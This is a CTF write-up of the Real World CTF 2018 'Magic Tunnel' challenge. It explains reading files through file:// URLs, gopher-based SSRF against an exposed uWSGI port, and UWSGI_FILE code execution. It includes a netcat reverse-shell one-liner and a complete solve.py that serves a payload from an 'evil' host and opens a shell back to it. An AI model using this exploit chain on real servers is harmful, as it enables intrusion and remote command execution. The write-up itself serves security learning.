Real World CTF 2018 | Magic Tunnel

Must be a submarine to cross the English channel?


The Magic Tunnel challenge was an online photo album. The photo album had a simple form to enter a URL of a photo to download and display on the user’s photo album. If we submit a URL, it downloads the file at that URL and adds an img tag with the src attribute pointing to the path of the downloaded file.

EDITS
  • Added some clarification on uWSGI.

Photo album An image is added to the photo album using the path of the newly downloaded file.

Local File Inclusion (LFI)

The web app likely expects that we give it a URL starting with http or https. But what if we give a URL using the file URI scheme? The file URI scheme is used to retrieve files on a host and looks something like file://hostname/path or file:///path. If we test using a file path to a file that should exist on a standard Linux system such as /etc/passwd, we can see if there is a local file inclusion (LFI) vulnerability in the application. When we submit file:///etc/passwd, we see that it worked.

/etc/passwd

This means we can get any arbitrary file onto the server - image or not.

Examining the Server

With this LFI vulnerability, we can examine the source of the web app and other files on the server to look for a way to get the flag.

One way we can learn more about the web app is by submitting file:///proc/self/cmdline. /proc/self/cmdline contains the command line used to execute the process - in our case, the web app.

/proc/self

Some key points to take from the command line:

  • The process is a uWSGI server.
  • The uWSGI server is exposed at port 8000. That means we can communicate with it there.
  • The web app directory is at /usr/src/rwctf/.

To clarify a bit, uWSGI is an application server typically used to route requests between a traditional web server to an application. It also has a hand in starting and maintaining the application.

I can use the Wappalyzer extension to get some suggestions on the setup behind the app.

Wappalyzer Wappalyzer gives some suggestions on the setup of a web app.

It suggests that the web framework in use is Django and the server is Nginx. The setup is likely as follows:

Internet <=====> nginx <=====> uWSGI <=====> Django

Knowing the files involved in a standard Django setup and seeing the imports in those files, we can map out the photo album app.

/usr/src/rwctf/
├── static
│   └── ???
├── media
│   └── ???
├── manage.py
├── rwctf/
│   ├── settings.py
│   ├── urls.py
│   └── wsgi.py
└── xremote
    ├── admin.py
    ├── forms.py
    ├── models.py
    ├── tests.py
    ├── urls.py
    ├── views.py
    └── templates
        └── index.html

views.py dictates how a Django web app should send responses based on the requests it receives.

It has the generate_path function which shows that photo album files are uploaded to /usr/src/rwctf/<year>/<month>/<day>/<uuid>.

...
    def generate_path(self):
        path = os.path.join(settings.MEDIA_ROOT, dateformat.format(timezone.now(), 'Y/m/d'))

        if not os.path.exists(path):
            os.makedirs(path, 0o755)
        return os.path.join(path, str(uuid.uuid4()))
...

A downloaded file gets included on the photo album page with an img src of /media/$YEAR/$MONTH/$DAY/$UUID. We know the file’s location on the server is at /usr/src/rwctf/media/$YEAR/$MONTH/$DAY/$UUID.

It also contains the DownloadRemote class which specifies how the app downloads the files at the URLs we give it.

class DownloadRemote(ImgsMixin, generic.FormView):
    form_class = forms.ImageForm
    template_name = 'index.html'
    success_url = reverse_lazy('xremote:download')

    def download(self, url):
        try:
            c = pycurl.Curl()

            c.setopt(pycurl.URL, url)
            c.setopt(pycurl.TIMEOUT, 10)
            
            response = c.perform_rb()

            c.close()
        except pycurl.error:
            response = b''

        return response

    ...

It uses pycurl to download files which supports http, https, file, among other protocols. This is why we were able to use the file:// URI scheme earlier.

In fact, we can make a call out with any protocol pycurl supports.

Now let’s re-examine what we know.

  • We can download arbitrary files onto the server.
  • We can take advantage of the LFI vulnerability to examine files on the server.
  • We can make a call out with any protocol pycurl supports.
  • The uWSGI server is exposed at port 8000.

Since we can get arbitrary files on the server, it’d be nice if we could run them…

uWSGI + SSRF

Let’s take a closer look at uWSGI. The uWSGI server can receive information via the uwsgi protocol. The uwsgi protocol can be used to set special uWSGI “magic variables” that can be used to configure it.

UWSGI_FILE is of particular interest to us. The variable “loads the specified file as a new dynamic app”. Perfect! We can get arbitrary files on the server so we could just set that variable to some script we upload. Since uWSGI is exposed at port 8000, we could connect back to it and set some of these magic variables.

Except pycurl doesn’t support the uwsgi protocol…

But if we revisit the protocols that pycurl does support, we see that one of them is gopher. gopher is a very simple TCP/IP protocol that’s useful in performing SSRF attacks. Why? gopher has few requirements on its structure and accepts URL-encoded characters. We can replicate other text-based protocols using gopher.

Conveniently for us, the uwsgi protocol is a text-based protocol. As an example, let’s see how we could send packets of uwsgi data using the gopher protocol to set the UWSGI_FILE magic variable to /tmp/test.py (an imaginary file).

First, we follow the uwsgi protocol spec to construct the uwsgi packet-

Header

modifier1 (1 bytes)0 (%00)
datasize (2 bytes) 26 (%1A%00)
modifier2 (1 byte) 0 (%00)
Variable (UWSGI_FILE)
key length (2 bytes)10 (%0A%00)
key data (m bytes)UWSGI_FILE
value length (2 bytes) 12 (%0C%00)
value data (n bytes)/tmp/test.py

The resulting uwsgi packet would look like %00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py. To send this to the uWSGI port using the gopher protocol, we would submit the following URL to the photo album app: gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py.

Now we can run an arbitrary script on the server.

Since we know the location of uploaded files on the server, we can upload a script of our choosing and point the UWSGI_FILE variable to it. There are a few other variables we need to set. This uWSGI exploit script seems to be what this challenge is based on. We should probably set the same variables.

Reverse Shell

We know how to get a script onto the server and execute it, but what do we want to execute? Let’s try to get a reverse shell - this will allow us to interact more with the server and figure out where the flag is.

We can set up a listening netcat instance with nc -nvlp $LISTEN_PORT where $LISTEN_PORT is the port we listen on. Then we can set up a reverse shell by calling nc $LISTEN_HOST $LISTEN_PORT -e /bin/sh from a Python script.

import os
os.system("nc $LISTEN_HOST $LISTEN_PORT -e /bin/sh")

Now to put it all together!

Flage

Setup:

  • Serve script.py generated by solve.py: python -m SimpleHTTPServer $PAYLOAD_PORT
  • Listen for the callback for reverse shell: nc -nvlp $LISTEN_PORT
  • Run solve.py (shown below)

Solve

Once we get our reverse shell working, we can poke around a bit more. With ls / I found a suspicious looking readflag which spits out the flag for me. Flage! 🏁

🏁 rwctf{How_1_sample@SSRF!cha11enge} 🏁

Conclusion

Lessons Learned

We weren’t able to solve Magic Tunnel the first time around. :P

One of our teammates found the LFI vulnerability and identified that the photo album was a Django app via /proc/self/cmdline. We spent some time uncovering and examining the app source but completely missed the fact that (1) the uWSGI port was exposed and that (2) you could use it to run a script by setting the UWSGI_FILE magic variable.

I believe the challenge was based on this reported RCE and its accompanying exploit script. It probably would have been worth to search more for uWSGI vulnerabilities or to investigate the possibility of an SSRF attack a bit more. Regardless, I learned a ton. 🙂

Thanks

Thanks to icchy of Tokyo Westerns and Venenof of Nu1L for their write-ups which helped me understand some of the concepts needed to solve this challenge. Also, thanks to the RWCTF organizers for helping me with the set up the challenge after the CTF so I could continue trying to solve it.

References

More Reading

LFI

uWSGI

SSRF/Gopher

Reverse Shell

Appendix

solve.py

from bs4 import BeautifulSoup
import requests
import urllib.parse
import sys

# Some code adopted from 
# https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
# https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py

SERVER_HOST = "XX.XX.XX.XX"     # Host of the web app
SITE_PORT = "8080"              # Port of the album web app
UWSGI_PORT = "8000"             # Port of the uWSGI server

PAYLOAD_HOST = "XX.XX.XX.XX"    # "evil" server hosting the payload script
PAYLOAD_PORT = "XXXXX"          # port serving the payload script
CALLBACK_HOST = PAYLOAD_HOST    # "evil" server listening for reverse shell
CALLBACK_PORT = "XXXXX"         # port listening for reverse shell

# Payload Python script to open up reverse shell
PAYLOAD = '''import os
os.system("nc %s %s -e /bin/sh")
''' % (CALLBACK_HOST, CALLBACK_PORT)


'''
Given a url, submit it as an "image" to download on the app and then return the
resulting path of the downloaded file on the server.
'''
def get_path_download_img(url):
    session = requests.session()

    request = session.get("http://%s:%s" % (SERVER_HOST,SITE_PORT))
    soup = BeautifulSoup(request.text, 'html.parser')
    csrf = soup.find("input", {"name":"csrfmiddlewaretoken"})['value']

    request = session.post("http://%s:%s" % (SERVER_HOST,SITE_PORT), data={"url":url, "csrfmiddlewaretoken":csrf})
    soup = BeautifulSoup(request.text, 'html.parser')

    if soup.find("img"):
        src = soup.find("img")["src"]

        return src 
    return None


'''
Get size of data.
'''
def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


'''
Pack uWSGI variables according to uwsgi protocol spec.
'''
def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    return result


'''
Generate a uwsgi packet
'''
def gen_uwsgi_packet(var):
    return pack_uwsgi_vars(var)


# ====================================================================================================                        
# ====================================================================================================

# ========================================================================
# (1) Put a script file that executes nc for a reverse shell on the server
# ========================================================================
# Generate reverse shell script (it's dependent on the callback host + port)
with open("script.py", "w+") as f:
    f.write(PAYLOAD)

# Put script on server, get the path it was downloaded to
script_path = get_path_download_img("http://%s:%s/script.py" % (PAYLOAD_HOST,PAYLOAD_PORT))
print(script_path)


# =====================================================================================================
# (2) SSRF by communicating to uWSGI port with uwsgi in gopher protocol to run the reverse shell script
# =====================================================================================================
# uWSGI variables to set
var = {
    'SERVER_PROTOCOL': 'HTTP/1.1',
    'REQUEST_METHOD': 'GET',
    'PATH_INFO': "/",
    'REQUEST_URI': "/",
    'QUERY_STRING': "",
    'SERVER_NAME': "",
    'HTTP_HOST': "%s:%s" % (SERVER_HOST, UWSGI_PORT),   # Server host + uWSGI port connecting to
    'UWSGI_FILE': "/usr/src/rwctf%s" % script_path,     # Path to reverse shell script
    'SCRIPT_NAME': "/callbackapp"
}

# Pack and encode the uwsgi variables
# Construct gopher protocol url that connects to uWSGI port to set magic variables
payload = 'gopher://127.0.0.1:8000/_%s' % urllib.parse.quote(gen_uwsgi_packet(var))
print(payload)

# Get the photo album app to follow the gopher url and set the uWSGI magic variables
res = get_path_download_img(payload)
print(res)

© 2018. All rights reserved.

Powered by Hydejack v8.5.1